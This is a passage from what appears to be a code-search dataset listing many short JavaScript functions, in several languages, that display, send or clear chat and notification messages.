== \"lui\")\n msg = \"newMsg \" + name + \": \" + document.getElementById(\"usermsg\").value + \"
\";\n\telse\n msg = \"newMsg \" + name + \": \" + document.getElementById(\"usermsg\").value + \"
\";\n //alert(msg);\n connection.send(msg);\n document.getElementById(\"usermsg\").value=\"\";\n }\n}","function testingMSGS(){\n \n}","function mensaje(){\r\n document.write(\"Holissss\");\r\n document.write(\"*************\")\r\n}","function submitMsg() {\n // only submit messages\n if(ctrl.inputMsg.length > 0) {\n SocketService.submitMsg(ctrl.inputMsg);\n\n // empty the message box\n ctrl.inputMsg = '';\n }\n }","function removeMSG(msg) {\n setTimeout(function () {\n var Idx = msg.Msg;\n var isConf = !!msg.UID;\n\n var message = document.getElementById(isConf ? \"conf-\" + msg.UID + \"-\" + Idx : \"priv-\" + Idx);\n\n if (message){\n message.innerHTML = \"\";\n }\n }, 100);\n }"],"string":"[\n \"function onMessageArrived(message) {\\n console.log(message.payloadString);\\n mentrada=message.payloadString;\\n document.getElementById(\\\"tanto\\\").innerHTML=mentrada;\\n\\tc=1+1;\\n if (mentrada == \\\"0\\\"){\\n\\t\\talert(\\\"No hay alimento en el dispensador\\\");\\n\\t}\\n\\n }\",\n \"function msgPerdeu() {\\n swal({\\n title: \\\"Perdeste!\\\",\\n type: \\\"error\\\",\\n timer: 3000,\\n showConfirmButton: false\\n });\\n bloqueioBoneco();\\n }\",\n \"function imprimir(mensaje){\\n console.log(mensaje);\\n}\",\n \"function imprimir(mensaje){\\n console.log(mensaje);\\n}\",\n \"function imprimir(mensaje){\\n console.log(mensaje);\\n}\",\n \"function clearSuccessMessage() {\\n\\n }\",\n \"function mensajes(respuesta){\\n\\n\\t\\t\\t\\tvar foo = respuesta;\\n\\n\\t\\t\\t\\t\\tswitch (foo) {\\n\\n\\t\\t\\t\\t\\t\\tcase \\\"no_exite_session\\\":\\n\\t\\t\\t\\t\\t\\t//============================caso 1 NO EXISTE SESSION==================//\\n\\t\\t\\t\\t\\t\\tswal(\\n\\t\\t\\t\\t\\t\\t\\t\\t'Antes de comprar Inicia tu Session en la Pagina?',\\n\\t\\t\\t\\t\\t\\t\\t\\t'Recuerda si no tienes cuenta en la pagina puedes registrarte?',\\n\\t\\t\\t\\t\\t\\t\\t\\t'question'\\n\\t\\t\\t\\t\\t\\t\\t)\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\n\\n\\t\\t\\t\\t\\t\\tcase \\\"saldo_insuficiente\\\":\\n\\t\\t\\t\\t\\t\\t//==============CASO 2 SALDO INSUFICIENTE=======================//\\n\\n\\t\\t\\t\\t\\t\\tswal({\\n\\t\\t\\t\\t\\t\\t\\ttype: 'error',\\n\\t\\t\\t\\t\\t\\t\\ttitle: 'Oops...',\\n\\t\\t\\t\\t\\t\\t\\ttext: 'Tu saldo es insuficiente para poder realizar la trasaccion, recarga tu monedero e intenta de nuevo',\\n\\t\\t\\t\\t\\t\\t\\tfooter: 'Puedes recargas tu saldo con nostros mas informacion en nuestras redes sociales'\\n\\t\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\n\\n\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t}\",\n \"inviaMessaggio(){\\n if(this.messaggioInputUtente != ''){\\n this.contacts[this.contattoAttivo].messages.push({\\n date: dayjs().format('YYYY/MM/DD HH:MM:SS'),\\n text: this.messaggioInputUtente,\\n status: 'sent',\\n stileMessaggio: 'message-sent'});\\n this.messaggioInputUtente = '';\\n setTimeout(()=>{\\n this.contacts[this.contattoAttivo].messages.push({\\n date: dayjs().format('YYYY/MM/DD HH:MM:SS'),\\n text: 'ok',\\n status: 'received',\\n stileMessaggio: 'message-received'});\\n }, 1000);\\n }\\n }\",\n \"function sucesso(msg) {\\n \\t$.notify({\\n \\tmessage: msg\\n\\n },{\\n type: 'success',\\n timer: 1000\\n });\\n}\",\n \"function sucesso(msg) {\\n \\t$.notify({\\n \\tmessage: msg\\n\\n },{\\n type: 'success',\\n timer: 1000\\n });\\n}\",\n \"function mensajeOk(mensaje) {\\n $(\\\"#mensaje\\\").html(\\\"\\\");\\n $(\\\"#mensaje\\\").append(mensaje);\\n mostrarMensaje(\\\"mensaje\\\");\\n ocultaMensaje(\\\"mensaje\\\");\\n}\",\n \"function sent() {\\n console.info(\\\"Fine processo d'invio notizie\\\")\\n}\",\n \"function mensaje (){\\n console.log('mensaje de la funcion');\\n}\",\n \"function imprimeMensaje() {\\r\\n console.log('Hola soy una funcion!');\\r\\n}\",\n \"function mensajeBienvenida() {\\n console.log(\\\"Bienvenido a Fabrega!\\\")\\n console.log(\\\"Ingrese código de artículo a comprar: \\\")\\n console.log(\\\"0001-Televisor\\\\n0002-Computadora\\\\n0003-Heladera\\\")\\n}\",\n \"function pulsaTecla(e){\\n\\tif(getOpcionInterfaz('correccion_rapida') && comprueba_pregunta()) preguntaRespondida();\\n\\treturn false;\\n}\",\n \"function mensaje(mje){\\n //creo un div para contener el mensaje\\n const div = document.createElement('div');\\n //le asigno una clase para su visualizacion\\n div.className = `alerta alert alert-warning mensaje`;\\n //le agrego un mensaje\\n div.appendChild(document.createTextNode(mje));\\n //identifico y asigno el objeto contenenedor del div\\n const contenedor = document.querySelector('.contenedor');\\n //identifico y asigno el objeto para posicionar el mensaje encima del mismo\\n const areaSig = document.querySelector('#card'); \\n //\\n //agregar el div creado al elemento contenedor\\n contenedor.insertBefore(div, areaSig);\\n // Remover el mensaje de alerta\\n //quitar el elemento despues de 2 segundos\\n setTimeout(function() {\\n document.querySelector('.alerta').remove();\\n }, 2000);\\n \\n}\",\n \"mostra_successo(msg) {\\n\\t\\tvar contenuto = document.getElementById(\\\"contenuto\\\");\\n\\t\\twhile ( contenuto.firstChild != null) {\\n\\t\\t\\tcontenuto.removeChild(contenuto.firstChild);\\n\\t\\t}\\n\\t\\t$(\\\"#contenuto\\\").append(msg);\\n\\t\\t\\n\\t}\",\n \"async function valiMess(event){\\n event.preventDefault(); //dont refresh any way\\n let mes = document.getElementById('mes').value.trim()\\n document.getElementById('mes').value = ''\\n if(mes === \\\"\\\"){\\n alert(\\\"message required\\\")\\n event.preventDefault()\\n return\\n }\\n\\n document.getElementById(\\\"det\\\").style.visibility = \\\"visible\\\"\\n await fetch(\\\"/addMessage?mess=\\\"+mes, {method: \\\"post\\\"})\\n .then(res => res.json())\\n .then(response => {\\n for (let i in response) {\\n if(response[i] === \\\"disconnected\\\")\\n stopIntervalAndReturn()\\n else if(response[i] === \\\"message required\\\"){\\n alert(\\\"message required\\\")\\n return\\n }\\n\\n document.getElementById(\\\"det\\\").innerText = response[i]\\n }\\n })\\n .catch(err => (console.log(err.message)))\\n\\n checkNewMessage()\\n }\",\n \"function message(retorno){\\n\\n if(retorno[0] == 'msg'){\\n let msg = $('').addClass('alert alert-'+retorno[1]+' alert-dismissible fadeshow col-md-12');\\n msg.append($('').addClass('close').attr('data-dismiss', 'alert').html('×'))\\n msg.attr('align', 'center').append(''+retorno[2]+'
');\\n msg.css('box-shadow', '2px 2px 3px #000');\\n\\n $('#dinamic').find('div #msg').remove();\\n $('#cadastrarProduto, #estoque, #editEstoque, #editarProduto, #cadastrarMarca, #cadastrarCategoria, #vendaPainelTable').\\n parent().prepend($('').attr('id', 'msg').addClass('row mb-5').html(msg));\\n }\\n}\",\n \"function Mensajes(mensaje) {\\n if (mensaje == 'Transaccion realizada correctamente')\\n $().toastmessage('showSuccessToast', mensaje);\\n else\\n $().toastmessage('showErrorToast', mensaje);\\n}\",\n \"function showMessageMittente(text){\\r\\n\\tif(text == \\\"\\\")\\r\\n\\t\\treturn;\\r\\n\\r\\n\\tif(lastSender == IS_LAST_NON_SPECIFICATO || lastSender != IS_LAST_MITTENTE){\\r\\n\\t\\tlastSender = IS_LAST_MITTENTE;\\r\\n\\t\\tchangeLastSender();\\r\\n\\t}\\r\\n\\r\\n\\tshowMessage(text);\\r\\n}\",\n \"function BasariMesaj( text){\\n\\t text = jQuery.trim(text); \\n\\t var dil = \\\"Tebrikler !\\\";\\n\\t if( strcmp( er.lang, \\\"en\\\" ) == 0 )\\n\\t dil = \\\"Congratulations !\\\";\\n\\t if( $(\\\".msgGrowl-container\\\").find(\\\".msgGrowl\\\").length <= 1 ){ \\n\\t $.msgGrowl ({\\n\\t element: $('body').parent(),\\n\\t type: 'success', //$(this).attr ('data-type') // info success warning error\\n\\t title: dil,\\n\\t text: text.charAt(0).toUpperCase() + text.slice(1) // capitialize first character\\n\\t });\\n\\t }\\n\\t }\",\n \"function mensaje(){\\n\\n\\talert(\\\"Mensaje de Bienvenida\\\");\\n}\",\n \"function message(ar) {\\n\\tif(ar==1){\\n\\t document.getElementById('successMsg').innerHTML +=\\n\\t \\\"Projekt wurde genehmigt!
\\\";\\n\\t}\\n\\telse{\\n\\t\\tdocument.getElementById('successMsg').innerHTML +=\\n\\t\\t\\t \\\"Projekt wurde abgelehnt!
\\\";\\n\\t}\\n\\t var element = 'snackbar';\\n\\t $(function(){\\n\\t\\t\\t$(function(){\\n\\t\\t\\t\\t$('#'+element).addClass('animated slideInUp');\\n\\t document.getElementById(\\\"snackbar\\\").style.visibility = \\\"visible\\\";\\n\\t\\t\\t\\t$('#'+element).one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){\\n\\t\\t\\t\\t\\t$('#'+element).removeClass('animated slideInUp');\\n\\t\\t\\t\\t\\t$(function(){\\n\\t\\t\\t\\t\\t\\t$('#'+element).addClass('animated slideOutDown delay-3s');\\n\\t\\t\\t\\t\\t\\t$('#'+element).one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){\\n\\t\\t\\t\\t\\t\\t\\t$('#'+element).removeClass('animated slideOutDown delay-3s');\\n\\t\\t\\t\\t\\t\\t\\t$('#'+element).remove();\\t\\n\\t\\t\\t\\t\\t\\t});\\n\\t\\t\\t\\t\\t});\\t\\n\\t\\t\\t\\t});\\n\\t\\t\\t});\\n\\t\\t});\\n\\t}\",\n \"function showComingMsg(data) {\\r\\n addMsg(data, \\\"someone-else\\\");\\r\\n}\",\n \"function nack() {\\n Twibble.messages.unshift(message);\\n Twibble.sendMessage();\\n }\",\n \"function noop() {\\n console.warn('Hermes messaging is not supported.');\\n }\",\n \"function probando(req, res) {\\n res.status(200).send({ message: 'Probando desde del controladaor Message.' });\\n}\",\n \"function message(msg) {\\n var status = document.getElementById('status');\\n status.textContent = msg;\\n setTimeout(function() {\\n status.textContent = '';\\n }, 1500);\\n}\",\n \"TheMessage(msg) {\\n return;\\n }\",\n \"function ack() {\\n Twibble.sendMessage();\\n }\",\n \"mostrarSaludo(mensaje){\\n\\t\\treturn mensaje;\\t\\n\\t}\",\n \"function mensajemodal(mensaje, titulo = \\\"ATENCIÓN\\\") {\\r\\n swal({\\r\\n title: titulo,\\r\\n text: mensaje\\r\\n },\\r\\n function () {\\r\\n swal.close();\\r\\n $interval.cancel(interval);\\r\\n });\\r\\n var interval = $interval(function () {\\r\\n swal.close();\\r\\n $interval.cancel(interval);\\r\\n }, 3000);\\r\\n }\",\n \"function mensajemodal(mensaje, titulo = \\\"ATENCIÓN\\\") {\\r\\n swal({\\r\\n title: titulo,\\r\\n text: mensaje\\r\\n },\\r\\n function () {\\r\\n swal.close();\\r\\n $interval.cancel(interval);\\r\\n });\\r\\n var interval = $interval(function () {\\r\\n swal.close();\\r\\n $interval.cancel(interval);\\r\\n }, 3000);\\r\\n }\",\n \"function envoiMessage(mess) {\\r\\n // On recupere le message\\r\\n var message = document.getElementById('message').value;\\r\\n\\r\\n // On appelle l'evenement se trouvant sur le serveur pour qu'il enregistre le message et qu'il l'envoie a tous les autres clients connectes (sauf nous)\\r\\n socket.emit('nouveauMessage', { 'pseudo' : pseudo, 'message' : message });\\r\\n\\r\\n // On affiche directement notre message dans notre page\\r\\n document.getElementById('tchat').innerHTML += ''+pseudo+' : '+message+'
';\\r\\n\\r\\n // On vide le formulaire\\r\\n document.getElementById('message').value = '';\\r\\n\\r\\n // On retourne false pour pas que le formulaire n'actualise pas la page\\r\\n return false;\\r\\n}\",\n \"function msg() {\\r\\n\\t\\tsetTimeout(function () {\\r\\n\\t\\t\\tif(message !== lastMessage) {\\r\\n\\t\\t\\t\\t//client.sendMessage(chanObj, message);\\r\\n\\t\\t\\t\\tchanObj.send(message);\\r\\n\\t\\t\\t\\tlastMessage = message;\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tmsg();\\r\\n\\t\\t}, 100);\\r\\n\\t}\",\n \"function setMsg(msg) {\\n\\tif (msg != \\\"\\\") {\\n\\t\\t$('#signal-msg').html(msg).fadeOut(1000);\\n\\t\\treturn true;\\n\\t}\\n\\treturn false;\\n}\",\n \"static messageNoData() {\\n //\\n noDataMessage.style.display = 'block';\\n }\",\n \"function noThanks () { \\n console.log (\\\"OK, maybe another day. Bye!\\\"); \\n}\",\n \"function saludo3(mensaje){\\n console.log(`Hola buen dia 3 ${mensaje}`);\\n }\",\n \"function emitirAviso(mensagem, id, tempo){\\n let snackbar = document.getElementById(id);\\n snackbar.innerHTML = mensagem;\\n snackbar.className = \\\"show\\\";\\n setTimeout(function(){snackbar.className = snackbar.className.replace(\\\"show\\\", \\\"\\\"); }, tempo);\\n}\",\n \"function inviaMessaggioUtente(){\\n var text_user=($('.send').val());\\n if (text_user) { //la dicitura cosi senza condizione, stà a dire text_user=0\\n templateMsg = $(\\\".template-message .new-message\\\").clone()\\n templateMsg.find(\\\".text-message\\\").text(text_user);\\n templateMsg.find(\\\".time-message\\\").text(ora);\\n templateMsg.addClass(\\\"sendbyUser\\\");\\n $(\\\".conversation\\\").append(templateMsg);\\n $(\\\".send\\\").val(\\\"\\\");\\n setTimeout(stampaMessaggioCpu, 2000);\\n\\n var pixelScroll=$('.containChat')[0].scrollHeight;\\n $(\\\".containChat\\\").scrollTop(pixelScroll);\\n }\\n }\",\n \"function nota(op,msg,time){\\n if(time == undefined)time = 5000;\\n var n = noty({text:msg,maxVisible: 1,type:op,killer:true,timeout:time,layout: 'center'});\\n}\",\n \"function setSucessMessageWithFade(message){\\n setSucessMessage(message);\\n setTimeout(function() {\\n setSucessMessage('');\\n }, 3000);\\n }\",\n \"function chatbotResponse() {\\n botMessage = \\\"Introduzca la respuesta correcta por favor\\\"; //the default message\\n\\n if (lastUserMessage === \\\"si\\\" || lastUserMessage === \\\"Si\\\") {\\n botMessage = \\\"Perfecto\\\";\\n }\\n\\n if (counter === 0) {\\n counter = 1;\\n botMessage =\\n \\\"Soy tu asesor DAP legal, ¿Quieres que te ayude a formalizar un préstamo?\\\";\\n }\\n}\",\n \"function OnSuccessCallMaladie(data, status, jqXHR) {\\n\\t\\t\\tnotif(\\\"success\\\", \\\"Brief envoyé avec succès !\\\");\\n\\t\\t}\",\n \"HandleMessage( msg ) {\\n return false;\\n }\",\n \"function checkMessages() {\\n messageBackground({\\n action: 'check messages'\\n });\\n}\",\n \"function quitarMensaje() {\\n document.getElementsByTagName('span')[0].textContent = \\\"\\\";\\n clearInterval(cuentaAtras);\\n }\",\n \"function functionNexMessage(){\\n if(messageQueue.length == 0) return;\\n\\n $(\\\"#messageArea\\\").prepend(messageQueue[0]);\\n $(messageQueue[0]).fadeIn();\\n $(messageQueue[0]).animate({bottom:'0px'},1000);\\n\\n messageQueue[0].messageTimeout = setTimeout(function () {\\n $.when($(messageQueue[0]).fadeOut(500))\\n .done(function() {\\n $(messageQueue[0]).remove();\\n messageQueue.splice(0, 1);\\n functionNexMessage();\\n\\n });\\n }, messageLength);\\n\\n\\n\\n}\",\n \"function AnimateMessage() {\\n var domain_message = $(\\\"div.waiting_message\\\");\\n var is_detect = true;\\n domain_message.fadeToggle(700);\\n if(!domain_message.length) {\\n is_detect = false;\\n return;\\n }\\n console.log(is_detect);\\n setTimeout(arguments.callee, 700);\\n }\",\n \"limpiarMensaje() {\\n const alerta = document.querySelector('.alert');\\n\\n if (alerta) {\\n alerta.remove();\\n }\\n }\",\n \"function printErrorMessage(msg){\\r\\n\\t\\t console.log(\\\"in printmessage() message received: \\\"+msg);\\r\\n\\t\\t if(msg != \\\"\\\")\\r\\n\\t\\t\\t setTimeout(printErrorMessage,7000,\\\"\\\");\\r\\n\\t\\t $(viewLeavesMessage_id).text(msg);\\r\\n\\t\\t \\r\\n\\t }\",\n \"function mostrarAyuda(msg) {\\n $.notify({\\n message: msg\\n }, {\\n type: 'info',\\n delay: 3000,\\n placement: {\\n align: 'center'\\n },\\n z_index: 99999,\\n });\\n}\",\n \"function getWelcomeMessage(){\\n g.msgNo = 0;\\n serverRequest(getParams(\\\"none\\\"),false);\\n}\",\n \"function addMesaj(mesaj,disappear)\\r\\n { \\r\\n \\r\\n mesaj[0].id=\\\"mesaj\\\";\\r\\n \\tmesaj[0].innerHTML=mesaj.innerHTML;\\r\\n \\tdocument.body.appendChild(mesaj[0]);\\r\\n\\r\\n \\tvar MessageDisapears=setTimeout(function(){\\r\\n if(disappear)\\r\\n { \\r\\n console.log(disappear);\\r\\n var m=document.getElementById(\\\"mesaj\\\");\\r\\n document.body.removeChild(m);\\r\\n }\\r\\n \\t},joc.getMsgDisappears());\\r\\n }\",\n \"function ok() {\\n timer();\\n var msgCopy = $(\\\"#template .msgpc\\\").clone();\\n msgCopy.find(\\\".txt\\\").text(\\\"ok\\\");\\n msgCopy.find(\\\".time\\\").text(timer);\\n $(\\\"#chatwindow .chatsbox.active .chatbox\\\").prepend(msgCopy);\\n }\",\n \"function sendMessage() {\\n sendNewMessage({ dsText: valueInput.trim(), usuario: getUsuarioLogado() });\\n setValueInput('');\\n }\",\n \"function messageFailureHandler() {\\n console.log(\\\"Message send failed.\\\");\\n sendMessage();\\n}\",\n \"function messageFailureHandler() {\\n console.log(\\\"Message send failed.\\\");\\n}\",\n \"function messageFailureHandler() {\\n console.log(\\\"Message send failed.\\\");\\n}\",\n \"function afficherErreur(message) {\\n $('#manitouAlertes').html('' + message).removeClass('manitouAlerteSucces').addClass('manitouAlerteErreur').show().delay(4000).hide(400);\\n }\",\n \"function showMessage(msg){\\n $(message).append(''+msg+'
');\\n runClean(3000);\\n}\",\n \"showAlertAcessoParticipante(sucess_error,mensagem){\\n if(sucess_error==='success'){\\n const div = document.createElement('div')\\n div.id = 'message'\\n div.innerHTML = `\\n \\n
\\n `\\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\\n }\\n if(sucess_error==='error'){\\n const div = document.createElement('div')\\n div.id = 'message'\\n div.innerHTML = `\\n \\n
\\n \\n \\n
\\n ${mensagem}
\\n\\n
\\n `\\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\\n }\\n setTimeout(() => {\\n document.getElementById('message').remove()\\n }, 3000);\\n }\",\n \"function sendMessage(){\\n //Gets the message that will be sent to the server and put it into variable\\n var msgToSend = g.messageBox.value.trim()\\n \\n //Checks whethers it is null, does not want to send empty string\\n if(msgToSend != \\\"\\\"){\\n //Stops the script from updating every 5 seconds, makes it synchronous,\\n //then sends messages and finally makes it asynchronous again.\\n clearInterval(g.updateInterval);\\n serverRequest(getParams(msgToSend),false);\\n g.updateInterval = setInterval(getMessages, 5000); \\n g.messageBox.value = \\\"\\\"; //clear message box\\n }\\n}\",\n \"function messageNoHousehold() {\\n addMessage('You aren\\\\'t a registered member of a household. Click \\\"Household\\\" on the navigation menu to create or join a household.', 'error');\\n}\",\n \"_msgCallback(err) {\\n if (err) {\\n console.log(err);\\n // TODO: Handle it by showing a prompt\\n }\\n\\n // Re-enable message composer\\n this.setState({\\n busy: false\\n });\\n }\",\n \"function test(message) {\\n return 0;\\n}\",\n \"function HataMesaj( text){\\n\\t text = jQuery.trim(text); \\n\\t var dil = \\\"Hata !\\\";\\n\\t if( strcmp( er.lang, \\\"en\\\" ) == 0 )\\n\\t dil = \\\"Error !\\\";\\n\\t if( $(\\\".msgGrowl-container\\\").find(\\\".msgGrowl\\\").length <= 1 ){ \\n\\t $.msgGrowl ({\\n\\t element: $('body').parent(),\\n\\t type: 'error', //$(this).attr ('data-type') // info success warning error\\n\\t title: dil,\\n\\t text: text.charAt(0).toUpperCase() + text.slice(1) // capitialize first character\\n\\t });\\n\\t }\\n\\t }\",\n \"function sendMessage(){}\",\n \"function failedsent() {\\n console.error(\\\"Invio delle notizie non riuscito!\\\")\\n $(\\\"#formerr\\\").fadeIn(750);\\n $(\\\"#infomsg\\\").text(\\\"Invio delle notizie non riuscito!\\\");\\n $(\\\"#formerr\\\").delay(3000).fadeOut(2000);\\n}\",\n \"function obtenerMensaje1(campo){\\n\\tvar mensaje = \\\"\\\";\\n switch(campo){\\n case 'idproraz': mensaje = \\\"Si modificó algún campo de este módulo debe justificar.\\\";\\n\\tbreak;\\n\\t}\\n\\treturn mensaje; \\n\\t\\n}\",\n \"function alertNotificar(texto, tipo){\\n PNotify.removeAll()\\n new PNotify({\\n title: 'Mensaje de Información',\\n text: texto,\\n type: tipo,\\n hide: true,\\n delay: 7000,\\n styling: 'bootstrap3',\\n addclass: ''\\n });\\n }\",\n \"function showMessageDestinatario(text){\\r\\n\\tif(text == \\\"\\\")\\r\\n\\t\\treturn;\\r\\n\\r\\n\\tif(lastSender == IS_LAST_NON_SPECIFICATO || lastSender != IS_LAST_DESTINATARIO){\\r\\n\\t\\tlastSender = IS_LAST_DESTINATARIO;\\r\\n\\t\\tchangeLastSender();\\r\\n\\t}\\r\\n\\r\\n\\tshowMessage(text);\\r\\n}\",\n \"function notif(message, success){\\n success = (typeof success !== 'undefined') ? success : true;\\n $('\\n
\\n \\n \\n
\\n ${mensagem}
\\n' + message + '
')\\n .prependTo(\\\"body\\\")\\n .fadeIn('fast')\\n .delay(5000)\\n .fadeOut('fast')\\n .queue(function(){$(this).remove()});\\n}\",\n \"function checkMessage(inputMsg) {\\n if(inputMsg == undefined){\\n return \\\"\\\";\\n }\\n else{\\n return inputMsg;\\n }\\n }\",\n \"function notyMessage(statue) {\\n $.noty.defaults.killer = true; //closes existing notys\\n noty({\\n text: 'Congratulations, you found ' + statue.name + '. X ',\\n layout: 'topCenter',\\n closeWith: ['click'],\\n type: 'success'\\n });\\n}\",\n \"registeredMsg() {\\n return 'You are already regsitered!';\\n }\",\n \"function ClearStatusMsg() \\n {\\n\\n SetStatusMsg(\\\"StatusMsg\\\", \\\"\\\");\\n }\",\n \"function mensagem(texto) {\\n $(\\\"#erro p\\\").text(texto).addClass('alert-danger').addClass('alert');\\n\\n if (texto)\\n $(\\\"#erro\\\").show(\\\"slow\\\");\\n else\\n $(\\\"#erro\\\").hide(\\\"slow\\\");\\n\\n setTimeout(function () {\\n $(\\\"#erro\\\").hide('slow');\\n }, 3000);\\n}\",\n \"function limpaMensagens() {\\n $rootScope.messages.length = 0;\\n }\",\n \"function process_event(event){\\n // Capturamos los datos del que genera el evento y el mensaje\\n var senderID = event.sender.id;\\n var message = event.message;\\n \\n // Si en el evento existe un mensaje de tipo texto\\n if(message.text){\\n console.log('=========MENSAJE DE ============')\\n console.log('Mensaje de ' + senderID);\\n console.log('mensaje: ' + message.text);\\n\\n if(message.text === 'Integrantes'){\\n enviar_texto(senderID, {\\n \\\"text\\\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\\n })\\n }\\n if(message.text === 'integrantes'){\\n enviar_texto(senderID, {\\n \\\"text\\\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\\n })\\n }\\n}\\n \\n // Enviamos el mensaje mediante SendAPI\\n //enviar_texto(senderID, response);\\n }\",\n \"function notifyFail(msg) {\\n const notifcns = document.querySelector('#notifications');\\n if (notifcns) notifcns.remove();\\n document.querySelector('nav .notifications .counter').textContent = ' ! '; // note U+2005 ¼ em spaces\\n const notificationsHtml = `${msg}
`;\\n document.querySelector('nav .notifications').insertAdjacentHTML('beforeend', notificationsHtml);\\n document.querySelector('nav .notifications').classList.remove('hide');\\n }\",\n \"function displayMessage(msg) {\\r\\n $('#msg').bind(\\\"DOMSubtreeModified\\\", function () {\\r\\n window.setTimeout(function () {\\r\\n $(\\\".alert\\\").fadeTo(500, 0).slideUp(500, function () {\\r\\n $(this).remove();\\r\\n document.getElementById(\\\"msg\\\").classList.toggle(\\\"frente\\\");\\r\\n });\\r\\n }, 2500);\\r\\n });\\r\\n // Acrescenta classe à DIV para ficar à frente da DIV branca-transparente\\r\\n document.getElementById(\\\"msg\\\").classList.toggle(\\\"frente\\\");\\r\\n // Insere os dados da mensagem de alerta na DIV e exibe a mensagem\\r\\n $('#msg').html('' + msg + '
');\\r\\n}\",\n \"function piman_send_message(msg,error){\\n msg = '' + msg + '';\\n\\n $(window).scrollTop($('body').position().top)\\n\\n $(\\\"#notifications_content\\\").html(msg)\\n .addClass(error ? 'error' : 'success');\\n\\n $(\\\"#notifications\\\")\\n .toggle()\\n .delay(5000).fadeOut()\\n .click(function(){$(this).stop(true,true).fadeOut()});\\n\\n}\",\n \"_ackSendMessageHandler(json){\\n\\t if (json.user !== CooperativeEditorParticipants.userName ){\\n \\t\\t\\tthis.domHost.playTTS(json.user);\\n \\t\\t}\\n\\n \\t\\tthis.push('messages', {\\\"user\\\": json.user, \\\"message\\\": json.message, \\\"time\\\": json.time});\\n \\t\\tthis.domHost.playSound(\\\"sendMessage\\\", json.effect, json.position);\\n \\t\\t\\n \\t\\tthis.isTyping = false;\\n }\",\n \"function ChatMessage() {\\n if (document.getElementById(\\\"chatSend\\\").value.trim() != \\\"\\\") {\\n var ChatMsg = document.getElementById(\\\"chatSend\\\");\\n ChatUser(ChatMsg.value);\\n //ChatAdmin(\\\"Please wait\\\");\\n // var blMsg = SendNewMsg(ChatMsg.value);\\n // if (blMsg) {\\n // cntMsg = cntMsg + 1;\\n // }\\n //alert(\\\"End\\\");\\n\\n // var blMsg = CallSendMsg(cntMsg);\\n // if (blMsg) {\\n // cntMsg = cntMsg + 1;\\n // }\\n var blMsg = ShowAdminMessage(ChatMsg.value);\\n if (blMsg) {\\n cntMsg = cntMsg + 1;\\n }\\n\\n //ChatSuggestions(\\\"test2\\\");\\n ChatMsg.value = \\\"\\\";\\n return false;\\n }\\n}\",\n \"function _noconn()\\n\\t{\\n\\t\\tUTILS.msgbox(\\\"You do not have a good enough signal to complete the request. Please try again later.\\\", \\\"No Connection\\\");\\n\\t}\",\n \"function Fnc_BuscarInformacionHogar(s, e) {\\n\\n if (txtIdentidad.GetText() != \\\"\\\" || txtHogar.GetText() != \\\"\\\") {\\n var NumHogar = (txtHogar.GetText() == \\\"\\\") ? 0 : txtHogar.GetText()\\n if (txtIdentidad.GetText() != \\\"\\\") {\\n if (txtIdentidad.GetText().length != 13) {\\n $(\\\".warning\\\").hide()\\n $(\\\"body\\\").waitMe(\\\"hide\\\")\\n $(\\\"#Error_text\\\").text(\\\"error dede de ingresar un numero de identidad valido\\\")\\n $(\\\".error\\\").show()\\n return 0;\\n }\\n }\\n Fnc_PeticionInformacionHogarSuspender(NumHogar, txtIdentidad.GetText())\\n\\n } else {\\n $(\\\".warning\\\").hide()\\n $(\\\"body\\\").waitMe(\\\"hide\\\")\\n $(\\\"#Error_text\\\").text(\\\"error no debe de haber campos vacios\\\")\\n $(\\\".error\\\").show()\\n }\\n\\n}\",\n \"_createMessage() {\\n let messageArr = ['абонент', 'абонента', 'абонентов'];\\n\\n function createMessage(number, startWord) {\\n let endMessage = null;\\n let startMessage = (number === 1) ? startWord : (startWord + \\\"o\\\");\\n\\n if(number === 1) {\\n endMessage = messageArr[0];\\n } else if (number == 12\\n || number == 13\\n || number == 14) {\\n\\n endMessage = messageArr[2];\\n } else if( number.toString()[number.toString().length - 1] === '2'\\n || number.toString()[number.toString().length - 1] === '3'\\n || number.toString()[number.toString().length - 1] === '4') {\\n\\n endMessage = messageArr[1];\\n } else {\\n endMessage = messageArr[2];\\n }\\n\\n return startMessage + \\\" \\\" + number + \\\" \\\" + endMessage;\\n }\\n\\n noty({\\n text: createMessage( (this._correctData.length), 'Загружен'),\\n type: 'success',\\n timeout: '3000'\\n });\\n\\n if(this._inCorrectData.length) {\\n noty({\\n text: createMessage( (this._inCorrectData.length - 1), 'Не загружен'),\\n type: 'error',\\n timeout: '3000'\\n });\\n }\\n }\",\n \"limparMsgAlert() {\\n divMsg.innerHTML = \\\"\\\";\\n\\n\\n }\",\n \"function congratsMessage(){\\n\\tif (matchedCards.length === 16){\\n\\t\\tsetTimeout(function(){\\n\\t\\t\\ttoggleModal();\\n\\t\\t\\t},1000);\\n\\t\\tstopTimer();\\n\\t}\\n}\",\n \"function callbackValidation(msg){\\n swal({\\n title: msg,\\n text: 'por favor revise sus datos',\\n imageUrl: '../assets/img/callback/missing.png',\\n imageHeight: 90,\\n animation: true,\\n confirmButtonColor: '#4fa7f3'\\n })\\n}\",\n \"function warn(msg){\\n\\t\\t\\n\\t\\tflashCount = 0;\\n\\t\\t\\n\\t\\tif ( null == msg ){\\t\\n\\t\\t\\tfaultMsg=\\\"The inverter has faulted!\\\"; \\n\\t\\t\\t$(\\\"#alarmMessage\\\").html(\\\"The inverter has faulted!\\\");\\n\\t\\t} else {\\n\\t\\t\\tfaultMsg=msg;\\n\\t\\t\\t$(\\\"#alarmMessage\\\").html(\\\"FAULTS:\\\"+msg);\\n\\t\\t}\\n\\n\\t\\t$(\\\"#alarm\\\").show();\\n\\t\\tif ( !booFault ) {\\n\\t\\t\\tbooFault = true;\\n\\t\\t\\tscreenFlash();\\n\\t\\t\\tsoundAlarm();\\n\\t\\t}\\n\\t\\t\\n\\n\\t}\",\n \"function 